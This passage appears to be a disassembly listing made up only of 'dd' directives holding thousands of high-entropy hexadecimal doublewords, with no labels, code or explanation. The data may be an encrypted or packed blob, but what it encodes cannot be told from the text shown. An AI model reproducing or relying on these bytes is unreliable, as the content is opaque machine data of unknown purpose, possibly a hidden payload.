4864A82Eh, 0B51216CFh, 3C4F7E8h, 7530BA51h, 4C4D2D27h dd 5212C40Bh, 1B2EB2FDh, 0E92D2F68h, 5731C0Dh, 17E1E2D2h dd 7E2310E4h, 0E2189C8Fh, 719DAB41h, 9ACBCF1Dh, 0F604BADFh dd 0E1F6E28Ah, 0CEC8A672h, 3461261h, 2777FE0Eh, 0E054ECBh dd 45C20A42h, 0B20A882h, 52596140h, 80E14595h, 116C5676h dd 6590DEF7h, 70485509h, 7010449h, 6A4F2500h, 0F0BF2132h dd 48F7079Eh, 6050E633h, 6F28B0E7h, 6E97313h, 0DEB90A80h dd 0EA5250Ah, 2D2F6C5Fh, 7C42D0E9h, 0EADA18FFh, 0DB74BD9Bh dd 2DEC5A4Bh, 0A6C4C1Dh, 0BF6608C1h, 0FD3E3202h, 0B91F7981h dd 0FF6527B4h, 96D8446Ah, 0E289989Dh, 8E5E9F86h, 0ED507A40h dd 0EF29FA1Eh, 0F84FFB63h, 0B25D9448h, 7B40C05Eh, 75F37528h dd 9F5AF8C3h, 269C5FCh, 0E752D96h, 1869BDC0h, 454B48F9h dd 0F6B31ECh, 0D97F92C2h, 0C5FD6904h, 0E1BD091Bh, 4559F280h dd 37278D0Fh, 40FCF412h dd 0B05CD81h, 9346FF3Fh, 0E7ACB78Bh, 0D70EA4Ah, 0D3855BE9h dd 4426FEDFh, 0C11E4834h, 0D885C381h, 0AA74102h, 0CB247E4Eh dd 1E75B0ABh, 8AC761Eh, 43AAFA93h, 0FEFF2DFh, 57ED0A1h dd 841284AFh, 932B1A8Ah, 0C4FD2DFh, 1334731Fh, 8313221Ch dd 33014329h, 3D244A92h, 7571D9E1h, 4A3D7AC6h, 212FB05h dd 0C5FB2CAFh, 0D661C766h, 0E6C11904h, 3590DC07h, 0AB8A4571h dd 0DDAA2412h, 35436070h, 7F7D92E0h, 0E9EA0905h, 56BDFB90h dd 0A4E34026h, 0FBCF1282h, 0BDB93F31h, 373DCCCh, 0E5B85049h dd 34100356h, 89125E47h, 9601FFC2h, 49C471DBh, 929E53F8h dd 25840385h, 85BA21BCh, 5BE80B4Eh, 1C57090Ah, 53605075h dd 5208082h, 48D7376Eh, 0AFB4257Ch, 94A170A8h, 8695A6D5h dd 67E0DF92h, 6FDE0BBFh, 0A88027F9h, 121F3A0Ch, 0E0FA012Dh dd 639CF70h, 0A0E93830h, 6813548Fh, 0D58C79D3h, 0EA391936h dd 48A244Fh, 523586ABh, 10C63300h, 0E9FE2962h, 0A13453D4h dd 97DCB11Eh, 87F6C5E3h, 68D800BFh, 26963E6Ah, 0C580B260h dd 0E29FA10Bh, 0C7968104h, 0D6D83B02h, 0B489BD0Fh, 2494C5F7h dd 5B56CBABh, 0C1A9FC25h, 0AD08F8E9h, 8528C0BDh, 790244A0h dd 30312D41h, 5B79903Fh, 0D54A8952h, 20020372h, 0C6F1805Ch dd 4E3CC058h, 1F083BBh, 72F0064Bh, 0B0A54AB1h, 42659DAh dd 301336D2h, 875A5AFCh, 0C3E97187h, 0D4B62597h, 762D6884h dd 0DA5C9910h, 12192AC2h, 3A70A888h, 9557C0C7h, 5FC0195Eh dd 0F2BA52h, 3116964Ah, 0CF815AD7h, 323A9E1Ch, 330CB165h dd 2425DD35h, 57CFB3Ah, 3279E91Ch, 48EED84h, 1ACD7F7h dd 0BD560196h, 3B0AB7A0h, 8889B5A8h, 5E54DAE0h, 0D24B7EB5h dd 6852ED18h, 4E38FFBCh, 57C103B2h, 32CB49E9h, 7C8990EEh dd 0DCCAFCFBh, 2FDCFEFFh, 53A8544Bh, 8BED7438h, 0FD3E4907h dd 24084028h, 45551B58h, 0EE13DFB7h, 0B4F46D21h, 5E88C3Fh dd 0DE2DB6BEh, 685C4B65h, 0C6AA082h, 0AA565525h, 65A9A197h dd 0F933C112h, 8952CF26h, 2530545Ah, 26E30774h, 0DAE73C01h dd 67E4880Bh, 3E4CC948h, 81004FE8h, 90283FCEh, 0EFFE5901h dd 0C2613A88h, 41D6F60Fh, 0BE18E9C6h, 452FFD24h, 4C8A061Ah dd 283E2101h, 6F68161h, 60DA09C5h, 99FD35BEh, 0FD0CE9CBh dd 7360C7D5h, 0C0D0F624h, 0FE063AE8h, 0EAFA8814h, 0BF458F12h dd 3182B674h, 0DDCCDD0Fh, 0B7531EC1h, 163151A6h, 2593E22Eh dd 0A5945C2Dh, 9B85E830h, 690E1995h, 3172B641h, 0A5ABF83Ah dd 0E4105CBCh, 68560660h, 2FC3571Ch, 674E8350h, 5580683Eh dd 73C93A5Dh, 0FAF67FD5h, 1F409C3h, 2A8F4446h, 0B859AD04h dd 1688205Eh, 5255CD89h, 0D280BEBCh, 6222E95Eh, 7DA24D75h dd 8A3D020Bh, 0A0F95DBFh, 5992CEA4h, 0B810E3A9h, 0F9ED7DF3h dd 928B2813h, 30E9DBDCh, 802C56A3h, 83F0D5CAh, 4688AC4Ah dd 49F52088h, 1E4A567Eh, 0C3FECE00h, 0F28B352h, 0CB885358h dd 19FC9FCBh, 9CBA3A89h, 0ABD19FA0h, 7A973342h, 9278EEB4h dd 79770C95h, 37722785h, 9B498641h, 2431BC3Ah, 2A43B15Dh dd 0CE2301D5h, 4C617736h, 0C8F9DC0Fh, 3DD79EA8h, 3007C7BDh dd 0DD685A45h, 779D5470h, 6806C315h, 2FEB1430h, 0A7118CF0h dd 7D03DC0Dh, 3B2D7602h, 0D4CDB0ADh, 0E781003Bh, 2B153861h dd 97BB5300h, 9642820h, 261B98DFh, 53596C86h, 0A4DF7ADAh dd 13C0A3F2h, 0F8E6D146h, 2E01B5F3h, 60476658h, 5A8082AAh dd 30CB5828h, 8289BB4Ah, 8EF8B93Bh, 79396F7Eh, 95414020h dd 0BE0469DEh, 548522A6h, 926EA25Fh, 25A31F3h, 731AE9FAh dd 42FB3102h, 0AD40FDB2h, 0BC307A69h, 6BEC0C3Ah, 0C1994E84h dd 9698E05Eh, 0E0F9C3FDh, 4752681Ah, 9F8B8286h, 4E157238h dd 4B0F8EEAh, 0E9BB28FBh, 0D5DEDC26h, 0DB17F993h, 5BDD1C98h dd 0CF77165Bh, 0CFB47F7Bh, 3A4E9888h, 0BA964F4h, 5B49BE5Fh dd 0BFB5966h, 66FF4E83h, 72553876h, 3F838842h, 0ED07CD99h dd 5AE47CDFh, 65BF7354h, 0CCBC5B9Eh, 0E97938D6h, 596582EDh dd 71224D68h, 6ADA8985h, 9ADEC55h, 4D5442BEh, 0A0402985h dd 0EE07BD49h, 29EAFD65h, 5E24EA5Ah, 9B799901h, 0BD2E310Fh dd 2BAE267Dh, 0E0EA2192h, 0FF001B88h, 412DF4D3h, 941A9870h dd 190720E7h, 350DBBE9h, 0B7A32FC1h, 0D19AE9C4h, 0DCD03148h dd 87B4FE2Bh, 0EA5872h, 1C136338h, 0E907EBC1h, 1A859325h dd 88F6C00Bh, 95C082BEh, 189F951Ch, 80B7F3DBh, 6B7F2D5Eh dd 421EBE25h, 3C785FE7h, 79519317h, 45641D1Eh, 1CEA3BABh dd 59CB2185h, 9A9DE90Bh, 0EBE2F6A9h, 7C46047Dh, 5A74AB10h dd 0A754BDA6h, 1F4FAC43h, 83E8EF83h, 0FB8948DCh, 6AC3F1E9h dd 2D539ADAh, 1FE82912h, 72EEC028h, 1342E32h, 2DB8C65Fh dd 0CE256932h, 0ADC9C77Fh, 0B36018D5h, 8B6DBCB0h, 1A547EB6h dd 78488263h, 0D1A3597Dh, 0C43B9B00h, 0F4B5378h, 8F56892Eh dd 69ABE985h, 16AA35AFh, 498BC7Dh, 7C1619CEh, 25D5A0h dd 6D3802BFh, 0CB328905h, 4CB8064Bh, 88940929h, 830BBFBBh dd 7BC40EAh, 0D2BD7A55h, 80BE8503h, 0A0115BA3h, 8217D2B2h dd 6F00B725h, 0A31754F2h, 2D629006h, 4DA297E9h, 3F0A4C95h dd 812DAE26h, 29A96878h, 12D8D7Bh, 0F4505B90h, 7FE15A78h dd 829782B7h, 0DEF13034h, 68CD4852h, 733205E0h, 0F1425A03h dd 838740A0h, 31F898E8h, 3C2CDA58h, 0A55948BEh, 0D9BC8905h dd 8F81B2AAh, 0E579C652h, 7A25001Ch, 35463B0Fh, 76256DC6h dd 18EE030h, 8C36C1CFh, 89707E6Bh, 0F817E9C5h, 0A0044E01h dd 4C4ECB44h, 0EB3694EEh, 0CB9EB2ECh, 0B1A8628Dh, 201000F2h dd 75BE05C4h, 73F21902h, 5552E1E9h, 96C12A12h, 0DECC6922h dd 4EAA59C9h, 0DFB495h, 7857B951h, 0E1F231D3h, 78043BF3h dd 8045E07h, 5B43DAC6h, 0F8B30C40h, 30C0CBFEh, 0E90A07E3h dd 73D85C06h, 1D1336h, 0BF571B53h, 7B381C15h, 19AE6A1h dd 0D8425E2Dh, 5F897573h, 1FB2384h, 6E1FEE68h, 0C9C8E27Ah dd 9D655051h, 0C3ECD780h, 0CDA13B1Fh, 75B801F2h, 3930C2D8h dd 2704005h, 712B2D3Fh, 0CE616BD2h, 0F82901A1h, 0D6F0E4DFh dd 2748985Fh, 0B59232BFh, 4C08D05Dh, 9901755Ah, 0E954A663h dd 46133F68h, 614A70A9h, 6FEEECF2h, 0DA42E8DEh, 2D2FDA10h dd 0C2A55989h, 0DF1A06F6h, 43910C16h, 0E97040ACh, 0E44A5ACDh dd 913F4A5h, 4FE0650h, 0E8894D7Fh, 186D9431h, 0DD7908FAh dd 81F08638h, 0F1517A62h, 508C9A3h, 0E9A1BC7Ch, 93F3860h dd 5E88EB80h, 0BBCABA90h, 0A899F532h, 181EFBD5h, 1EBB9215h dd 80FD868h, 4A21456Ch, 0C3B5F741h, 0C52B0FB3h, 23609A2h dd 1BEFE5D7h, 5BB8CAFEh, 0B119E380h, 7388D3F6h, 0C52876F0h dd 0D59C6CF6h, 34B2D149h, 0E38D8BE8h, 64630405h, 1D2A817h dd 2B063D38h, 0E830CD89h, 0A2BEBD52h, 0E51E912h, 0F885B8BDh dd 9AB9828h, 8FD19F4Ah, 29C91047h, 6E3D7060h, 11C47DF5h dd 88F9D494h, 68125697h, 31AB51E3h, 8FDCD16Ch, 479CF14Bh dd 0C5B32D50h, 0F3FE8521h, 4E794864h, 0D01332FBh, 6E32DDD6h dd 122C7625h, 345EBAB9h, 1263188Eh, 0C8ECA2BEh, 9C97BA8Ch dd 4656F449h, 3E870F08h, 0BA253FAEh, 38BF058Ah, 8A6EB404h dd 9894EFCFh, 27A562FEh, 0ED211AF4h, 4BB652C0h, 67B84CE9h dd 0AF57EA8Bh, 0F47F69FBh, 39DB1F1h, 48B63A2Dh, 0A82CE984h dd 0EB5F17h, 201BABE6h dd 86350F12h, 0F8034D4Bh, 0D58D5FF1h, 0BAB380AAh, 6A2F443Ch dd 5480F54Ch, 0E5649BC6h, 247DBEC6h, 8814555Fh, 7EE8E17Eh dd 0E93955A7h, 938874Eh, 6E604802h, 0CCB25200h, 80C20EFEh dd 537D90E2h, 10A1E914h, 0BB028857h, 45AD1F6Eh, 10085DEh dd 0D4E92CFCh, 24A0929Dh, 69DD4435h, 4F006550h, 2AB93C0Fh dd 95558B3Ah, 0CEBCA0FDh, 7698475h, 0D2E6D05h, 561FA510h dd 81311CBFh, 305A59EFh, 0FDF52BF8h, 0C9450F20h, 417CFEEDh dd 5165F42Dh, 0EA132A15h, 0D2C3B304h, 1B560109h, 0C8B70FE0h dd 6F402768h, 48721298h, 0FF78880h, 0F4C7805Ah, 1DD0D369h dd 9E31AD28h, 18D9F20h, 0F083CBBDh, 0F8A32D24h, 0E4B801AAh dd 63766812h, 57C401BCh, 5D2AD211h, 0A681537Dh, 3B331097h dd 2B3F125Ch, 509E2EA8h, 13B33F92h, 2814F380h, 0C63B760Bh dd 0BAE63D75h, 3D57CCEEh, 5FC58221h, 5F4BA3E9h, 5005ECEDh dd 0A38236B4h, 0F5546033h, 0BFE854E9h, 565D0BBEh, 9D002988h dd 2C22462Dh, 886089BDh, 0B909B2E0h, 5E3D9F0h, 0BE59B151h dd 9337FDD7h, 2D90E633h, 0FFFCC90Ch, 0F5A68D18h, 0BAFE6E28h dd 613BA0B3h, 24BB5959h, 77A52018h, 1435769Ch, 0D7AA75A5h dd 12B68695h, 80A3B507h, 82A321EDh, 59462E7Fh, 9743E247h dd 6000BCD2h, 5551B719h, 0B3063BDh, 0EE31295Ah, 84454AD7h dd 0B480CE9Fh, 4C4D0AFBh, 0BD5F192Fh, 8BF6B128h, 17F70924h dd 0F90FCC36h, 0D0047360h, 4D0E2954h, 1D2DD9C0h, 17B24A19h dd 2184AF8Eh, 8B4CC7FFh, 0EA6FBD05h, 234AB731h, 10003C13h dd 127A02C1h, 9AEDE7E9h, 0ECE65E80h, 345C0AFAh, 0B313ABA8h dd 971337ABh, 0F15A696Fh, 0EE2A1909h, 9C4D242h, 7DBC6636h dd 0D59DF958h, 85BEF81Ch, 3863BE87h, 0C3C1E911h, 9EBCED6Bh dd 74D183CBh, 0E60449BAh, 0B039FACBh, 0BD3540F9h, 4B8C1420h dd 0FBF91305h, 5E0C9304h, 2DC80102h, 0C018EAF5h, 0B7A98A95h dd 2B0792E9h, 0D636D992h, 883134ADh, 0AD9C592Bh, 0A8145565h dd 0E1B572ACh, 0FBE4896h, 0F0A95EEFh, 0EF60D385h, 3125858Ah dd 0B78863DCh, 6EAC8A47h, 7988E215h, 2424DA52h, 0DC5A481Bh dd 0E23F8029h, 52E91FF9h, 87B8C9D3h, 0E73DEE04h, 0BAF4EA62h dd 7F1BB0BBh, 90E30430h, 80265F32h, 0A208CD0h, 4CE9220Bh dd 0EF5CD446h, 0F4C8CF6Bh, 0B0B16C3h, 0B57F5A7h, 0CD84DD11h dd 561F08Dh, 953F757Ch, 0B0C52642h, 0B6E8AE13h, 0E9E1D1E0h dd 6BCFE255h, 0EBD300EDh, 6C7E27B4h, 4632EF8Fh, 8F394541h dd 0EE886884h, 0C5C496F8h, 3F2DBA0Ch, 0A4859B2Dh, 5A40E22Ch dd 529732AFh, 0E6026BFFh, 515D26BEh, 81352489h, 7ABC35B8h dd 0F665E99Dh, 3882827Eh, 60219823h, 265B8A0Bh, 108B1BC7h dd 30B1173Ch, 68DFD0EEh, 0ACBB3A89h, 9B0DA50Ch, 1C9DB607h dd 1E8135Ah, 0C9FEE18Eh, 5C1CA4C0h, 3C4E4A08h, 0FB7C8612h dd 67680D21h, 5B77612Ch, 9852E614h, 0B44279CEh, 7650AD48h dd 8C2EC55Ch, 0BAD766F9h, 17885846h, 0DBAF533Ch, 476B24D5h dd 0E83AA7A1h, 0DDE9E10Eh, 0AA5F0328h, 0C7E56569h, 0F016E917h dd 0FD3665A0h, 8EB5E6B0h, 0C331255Dh, 7AC1CC82h, 0AA8B22ADh dd 747FE70Bh, 5CB882D9h, 72D85E96h, 68543055h, 0FC474E2Ah dd 12C8D16Eh, 0D1F9427Dh, 0C664568Fh, 5C44EB5Ah, 0C91E46B4h dd 55CE6190h, 0BF02D2BEh, 0E01558BAh, 1356CFBAh, 4095237h dd 1797AA56h, 984ED0FBh, 840028EEh, 76F86850h, 4581233h dd 85E94840h, 0C132AA66h, 40926A5Ch, 0C0A7C011h, 1E07050Ch dd 11F170Ah, 0FA4C57D8h, 5AE6A3F7h, 7D944B81h, 965D9C62h dd 0B2E42D7Fh, 242A76F3h, 0E0BB6AA1h, 6AF55A25h, 0B489666h dd 161F03E4h, 0AF98F0Bh, 7D07C224h, 0F1A66AC8h, 11088228h dd 0B378B5B3h, 6E10BD03h, 0B62D1D85h, 0BB965150h, 80735BFAh dd 6A685F9Dh, 0E0F45C58h, 95B937E9h, 0DF62DFFEh, 0C2FAC673h dd 7F966817h, 4589A2D9h, 3DB2512Dh, 9D7A9AF4h, 0D4E9095Ch dd 0DBF70902h, 0AC2BFFEh, 69740B59h, 0D967DC25h, 103B7920h dd 6C58435Dh, 252E1124h, 2A2998E1h, 0FAC459EBh, 67273B76h dd 19AFFD83h, 491CF610h, 0F5881139h, 69DDAC48h, 9D02379Bh dd 31003DD1h, 95295DEBh, 0C7778F0Bh, 5C0DB2D7h, 0C9C7F95Fh dd 24FFB7E2h, 0FFE9680Dh, 7B573489h, 4413121Eh, 0FF315DD1h dd 0ADD2D71h, 0EB022436h, 1AE34439h, 1A84A5Dh, 5E726808h dd 9E2F778Bh, 492B9A46h, 5B3DE953h, 0AEE33F17h, 3DC7710h dd 177639BBh, 55E7B73h, 89C8D0DEh, 0A849C4DAh, 8CA74FD4h dd 0FE4FD29Dh, 2E86872h, 477D58C1h, 50E98458h, 7750B9D3h dd 0C1208F26h, 923FA7A6h, 3B24A4B8h, 0C47894AAh, 8494AAD1h dd 0E24FE6B8h, 0DDEAC054h, 0DA29FB28h, 804405Ah, 5B04C351h dd 378EFB4Eh, 0BBB79922h, 0A209D267h, 0B03F8BB7h, 1864E2D2h dd 6C779A33h, 8A3F50EEh, 0FF30F60Dh, 40DE9042h, 205B606Ch dd 0CC174F47h, 0E9060F94h, 5A8F92FCh, 208CE8E1h, 0D728256Bh dd 2DC4D888h, 9248D340h, 0E82A44C0h, 8231FC33h, 971265F6h dd 17B262E0h, 0BEDAF636h, 0F1A378C3h, 722AA568h, 4F6050BBh dd 793054A2h, 2088FC7Eh, 78578276h, 0C4054AE0h, 0FBB2FAECh dd 88C659C9h, 0B838D1A4h, 8FBA4F4Dh, 43AD25FAh, 5C313CE2h dd 223B2A98h, 0F3B0D430h, 9258E53Dh, 6AB952ABh, 6CAE49Ah dd 0A3507FFCh, 59BF80B1h, 61A50C16h, 0F3F49CF5h, 0E99E0B5Ah dd 0B377E6FBh, 0EF6ED14Eh, 0AD42417Bh, 0EC66DD34h, 0C8950FE3h dd 0C90ED3E4h, 0FEE1FE2Dh, 0CC566F5Fh, 0BF3E08h, 3103142Dh dd 8A9809B5h, 1BB85007h, 7A2FBE7Fh, 4CEAF712h, 0E9085B55h dd 2069C5D7h, 295F0208h, 19C7E9FAh, 0D6055C02h, 65ACF09Bh dd 86553BCBh, 982D6E6Bh, 0C8B6A163h, 9078CC36h, 0ABAE2026h dd 1D16B97Ah, 1FAB4B8Dh, 0AFEC53C8h, 502510B3h, 88273772h dd 6BF30FEEh, 5A0CABB6h, 0B249F251h, 60D2FFB9h, 5F1D705Fh dd 2220B14Ah, 0BB53C0A9h, 0C41B21B2h, 0AFFC11B4h, 88E28BB8h dd 0EF58AE8Bh, 0C3C52E4Eh, 580AFA2h, 759A7A3Eh, 2C015931h dd 5C020D38h, 56462459h, 7CF70080h, 0F4B41F8h, 0CB49068Dh dd 0FAE05B8Dh, 26955D57h, 459D3C16h, 82A4C95Ch, 7BCBEA98h dd 706CF1C9h, 5FD3B131h, 109381Eh, 861A20E7h, 0F39EDD14h dd 119FB900h, 64B860FCh, 75829577h, 0E9C150F9h, 538DA31h dd 5D4096E2h, 970B99B8h, 0F7595682h, 0E8763F1Eh, 5D52519Ch dd 0F833C07Ah, 0BAF02D6Bh, 0DF095576h, 0F614159h, 847AC8BFh dd 0EFAFD221h, 5539661h, 83A6C0BBh, 550B3241h, 2B5DEE01h dd 0DA9FFE20h, 0F36836E8h, 0E3335E4Eh, 0AFA3F41Dh, 0B3B2D213h dd 0BB0E1047h, 823F9340h, 0E9C6E3F7h, 8E2FA229h, 4F592407h dd 9BBFE901h, 806EBDFCh, 2A7E6FDAh, 0ADD3013Eh, 0DD54420Bh dd 0EA4250F9h, 0C59FF5Dh, 0EAAD3A93h, 0C1BB840Dh, 45A42A87h dd 635D447Ah, 0E0B493D3h, 0D6CD2D80h, 0F8C3C500h, 0B758C4B0h dd 85EF12DAh, 42A9D9AAh, 107531C2h, 835FE526h, 158D5ED5h dd 4C31C813h, 6058599Ah, 657983A4h, 492724Ch, 47D8FD92h dd 268F083h, 5FCDE163h, 0EA8D60A7h, 87F07EADh, 0F282180Fh dd 0BFEE138Ch, 0F7B0849Dh, 97DC9FF2h, 73E70C21h, 0D20BEE59h dd 80088FE7h, 236EC86Fh, 0F301200Ch, 295E0880h, 5951FB26h dd 30AF1612h, 0BB361E04h, 9BC6858h, 0F48471DEh, 56093E32h dd 9D06C2AFh, 681332A7h dd 0A3D232ABh, 0EAF409FAh, 1E925751h, 5208D2A8h, 0FB23C9DFh dd 406EA248h, 300FBE1Ah, 49F6FCBCh, 0B8D661FFh, 3DF71D4h dd 4E820D73h, 24FF39ACh, 68CE8CE0h, 4D7F3727h, 985118BBh dd 0FA3E4653h, 9ECE8276h, 80710E47h, 0B94E1A98h, 20449833h dd 0E913F874h, 8C8BA7BBh, 93AEE84Bh, 2E3469FBh, 69E7E4ECh dd 0B7D51EFFh, 7CAD97EDh, 1C888855h, 0C605A328h, 501538E5h dd 296A860Dh, 5B530B7Ah, 501345FBh, 0D1DDF30Ah, 31B1B3BAh dd 44C3DFD0h, 0E6185BB3h, 0B05325CEh, 99F1C939h, 63A024Dh dd 0C2558B3Fh, 58F451h, 0E9DE47EFh, 4CB5F7EAh, 0E1415B55h dd 39FF2BFDh, 10FC38C0h, 0EA48744Eh, 8BDD1584h, 66E14E28h dd 520091D1h, 91909AB6h, 0D6F6571Dh, 0DC05C653h, 0EAF627EDh dd 0FA4E8E48h, 4BE9A804h, 0C17BAFCh, 0D2D8F85Bh, 93E006BAh dd 340B0EACh, 85C58809h, 0EAE8DE96h, 0F6C88605h, 0CAC783D1h dd 0A7B0D4E1h, 3C20F64Ah, 2532681Ch, 55C9CF7h, 45DA6851h dd 0A782C1B2h, 78429F6h, 492F8F70h, 0E859EBB7h, 3D7410F1h dd 0EEAF62F2h, 401C360Bh, 0A095E20h, 6D7F800Fh, 771188F2h dd 0DCF6043Dh, 0EAEDF328h, 0A3B55109h, 0E566A97Fh, 5A801F98h dd 83C128B4h, 0F7E75DD2h, 54105884h, 0FE3B25E9h, 485BAFC6h dd 833257E1h, 54B4E9E1h, 0FC0784A1h, 0FDF010F5h, 5B56502Ch dd 3AC535F9h, 478422E2h, 8D74AA08h, 27CC1FC0h, 84355E42h dd 1AC644FFh, 0FD7FC5ECh, 60F8D74Dh, 3F60CFE1h, 0AA5C2C5Dh dd 7E1AF525h, 698D2040h, 2C6FA626h, 88078C06h, 0E3C6078Ah dd 0C1108352h, 0E1118BE6h, 55F02E03h, 4A2A7209h, 3FD7A921h dd 2A88549h, 0E7BFCD01h, 758E698Ah, 80D70932h, 93B850A5h dd 659B2510h, 0C22F80F0h, 54167FB1h, 6C518C9Dh, 1A210E6Bh dd 0CCDD0108h, 0CE5D9532h, 0A1209697h, 0C57980E9h, 42A8031Ah dd 0BCC0FB09h, 0B44F8A0Fh, 0B7AEB8C4h, 0E913794Ch, 5CB24FFAh dd 0ED25014Ch, 559D97F0h, 11A052BEh, 0F99D8061h, 45BCC247h dd 5691B900h, 84575E31h, 148AC3Ch, 50D074DAh, 0F320D9F7h dd 0FF6138B4h, 4C64ABCEh, 3AA5F1EEh, 81804CA8h, 603C66CDh dd 0F5042176h, 7C6E451Eh, 0C1521B96h, 0C17A4C46h, 3F4FE930h dd 91F9F3C4h, 5B580B9Ch, 88EBFB02h, 576192F7h, 0D2A5FE79h dd 0FD3C44F5h, 0EC598140h, 0ECA94F9Eh, 9CFC414h, 0B1300716h dd 29548155h, 65A22A7Ch, 31685F04h, 0DFE9032Bh, 5D4C34D7h dd 4FBFEDC6h, 0BF0C5EF4h, 0D0883202h, 0DA5A7569h, 80F860FDh dd 131E73CCh, 0BB5215C4h, 0E01A7CD4h, 4E87D246h, 2DAF00D1h dd 0FD8129Eh, 76348FE2h, 0CAFB16A6h, 64AA108Ah, 1CF55626h dd 0B230FD20h, 0C8289B06h, 1B75958h, 0F1B75352h, 65F5FA88h dd 0FBD40575h, 854A9F39h, 0FB5372A4h, 0E90A66E3h, 81F4C26Ch dd 0CE398DEBh, 76CBD866h, 51FE5C14h, 33D11280h, 6003E8E4h dd 93B7303Ah, 1690C7FEh, 9F4A8A20h, 708C767Eh, 5FF612A1h dd 4521B0DFh, 0FC8CCC98h, 0E4BAF1F0h, 24202F97h, 9DFA0736h dd 92143066h, 0B78957B9h, 5E9A552Bh, 9110EA60h, 55D84281h dd 0BEEABF54h, 0F32E5160h, 530C4A99h, 90F4ABB3h, 4E2C2019h dd 539546ECh, 65C40246h, 8D56069Fh, 3E47B27h, 310BE8C1h dd 908D53A3h, 9937254h, 0C9C1F29Fh, 70320506h, 56434280h dd 81007427h, 0A76411E7h, 27840F15h, 0B17CAC4Fh, 0E187FB70h dd 0C86F2FC2h, 2947D601h, 79F76FCFh, 0CC214B79h, 5A585EE1h dd 3709D235h, 0A334755Ch, 6BE371BDh, 1CC794FFh, 3817E7E9h dd 26CBB4Ah, 82A149E9h, 6F592D02h, 22D771A4h, 5F016DC8h dd 31D67812h, 0A8753E82h, 5518C26Eh, 44C9932Fh, 0B03E44FDh dd 3C209DC7h, 942AC8C3h, 0A200FB8h, 1BC1583Ah, 4BC9AA40h dd 0C0B8D03Fh, 18450241h, 57AEE882h, 564007B7h, 2D839550h dd 0B0F603B2h, 598358C5h, 1682E14Fh, 0CB7A0C80h, 0EA05ED89h dd 308F1905h, 0EF01F029h, 58B63ACDh, 16A8846Fh, 658AABD9h dd 90458D00h, 67D92D64h, 3CFAD74Ch, 0D7D56EBCh, 0F4C1D088h dd 0EF3835E5h, 3A94AFC4h, 0B91909BEh, 0CCD72AA9h, 0EEBF31C8h dd 0BC3B1FCDh, 7F109323h, 50FB3316h, 0E913083Eh, 8811445Ah dd 5837BEE3h, 0E15BDA82h, 0FB3A686Eh, 5A560F1Dh, 245870E3h dd 0FA4BE73Bh, 455FE68Bh, 0FF2EA0A5h, 5C986D32h, 9E69678h dd 67568B8Ch, 5A472970h, 64B9CB20h, 91AA5B15h, 544ED62h dd 0FB03B4BFh, 0A5744749h, 0EE7ACF0Ah, 0B7EE240h, 25617C91h dd 4D59AC38h, 94181582h, 0FA146079h, 66E7B716h, 3039B402h dd 0E941FFE1h, 0E45FC6E0h, 8106C0FCh, 0A1609DEAh, 882553F0h dd 0C06C7EC7h, 4F2647DDh, 3FFFE924h, 0D3684E9Ch, 29972F0Eh dd 4AE5202h, 1230D2CBh, 89583C04h, 77A60482h, 0B6576209h dd 95699F75h, 5D5DEF7h, 0CA5E8873h, 5F6B4AA7h, 92EA93C3h dd 6805FDFCh, 984460FDh, 8DBBC234h, 7CF7E559h, 0DDC24186h dd 5B57EA77h, 0F8E941ACh, 0C9AC2411h, 24223A5Bh, 6F4A6055h dd 0BA6C58A9h, 713BE502h, 66401030h, 0F7828A9Dh, 933D63E7h dd 6B0051DFh, 5B576F25h, 60089D5Eh, 0BBC059Eh, 1501AFB2h dd 95927013h, 3196A02Ah, 2C081DB6h, 77FF0523h, 369B8240h dd 4EDD103h, 0AED8676Eh, 29A5F0D9h, 0FE29E9F8h, 0DD01B76Dh dd 12E537Fh, 8EAC7F7h, 0DD525A0Bh, 0A9D65838h, 0F5262795h dd 92A1730Eh, 824D1460h, 35BA0A80h, 51D279Fh, 15DD4F9Ah dd 0A67AAD40h, 0BDF0E9C2h, 51BD3E00h, 4E300825h, 0DAB2A845h dd 5B14AF7h, 0FD2F8050h, 691FDFC4h, 7C0394A5h, 0EA3EE1D2h dd 0A352672Ah, 23045DC9h, 6C3AE4CCh, 1AC71B1Eh, 0C5C012D3h dd 3D0FCBBAh, 0E42F1F55h, 88C1CEC3h, 7F312590h, 0BF3A7069h dd 9AC1B22Ch, 12EEB279h, 0E8290168h, 0FD51E241h, 5C4988F9h dd 6BE4580Dh, 7893A0BFh, 0A02FB671h, 249843AAh, 22554E0h dd 63660AF6h, 6B2CAF7h, 0F1E5D08h, 602009FBh, 820D6E8h dd 7F41E917h, 9A9EE0BDh, 40DEFD9Ah, 4665109Fh, 0A20C328Ch dd 42F8FD9Bh, 95525628h, 4A587C7Dh, 0FAF23796h, 2DC00A24h dd 5A1877FBh, 5C89F463h, 0C992574Ch, 0E24A8559h, 8B0B9D53h dd 7D762B6Dh, 79979315h, 3C5101E0h, 8C13E2B1h, 0A1A4B819h dd 0C59D5887h, 0F84ED6E5h, 0E7944836h, 0C8B65290h, 32CE3980h dd 0C057E680h, 0DEF602EEh, 7202598h, 66CC9EDh, 12BF0779h dd 75CD1D4Bh, 0C7CD462Eh, 0EE067369h, 53B1397Bh, 36540B0Ch dd 6757E4F4h, 40E03C9Ah, 48363CF6h, 49AD5997h, 2F11E980h dd 759D02F0h, 80B2B1A0h, 310B43F6h, 6268E9FEh, 0F0AF40EBh dd 49850C13h, 0E38EC383h, 0D812DA17h, 3A44621Eh, 0ECEA7FEDh dd 74680968h, 2FD4C649h, 0CD530384h, 7DB15549h, 84D17A02h dd 0FD96D9BDh, 20C4BBEBh, 2176E5FBh, 0C03487E9h, 7B8307E1h dd 0E22F023Fh, 5CA5311Eh, 67399640h, 745F9A2Fh, 0B8E0C2D0h dd 89FD4D7Dh, 10F02DE9h, 8E7373BDh, 0E1101089h, 3381B918h dd 136896C9h, 2BDE7155h, 0F2AEF013h, 57F2B5D3h, 6B7B6882h dd 9096B4FDh, 75BD18C8h, 25F4B63Fh, 82065997h, 6859351Fh dd 4270425Dh, 3DC340C4h, 0C6291287h, 98205D58h, 39D448D8h dd 6116F3Fh, 57E1E9D0h, 140E98D1h, 9888724Ch, 4A07AC01h dd 44CB0110h, 0E90802CEh, 0E2D4AF6Eh, 6F4874A7h, 0D2BA37A5h dd 3E42D01Dh, 0F89F0CC4h, 38883258h, 4C5F0C24h, 0D25B65BBh dd 8D529CCh, 764E52D2h dd 0BA0BB574h, 52440E7h, 0AD11168Ch, 53034B48h, 0E98EED5Bh dd 562F1C1Fh, 0AF45E44Bh, 30AA6D17h, 6EE1804Bh, 0B5BB5E00h dd 0E9D5D24Bh, 0E4314A32h, 63651D10h, 0DCC2E0FFh, 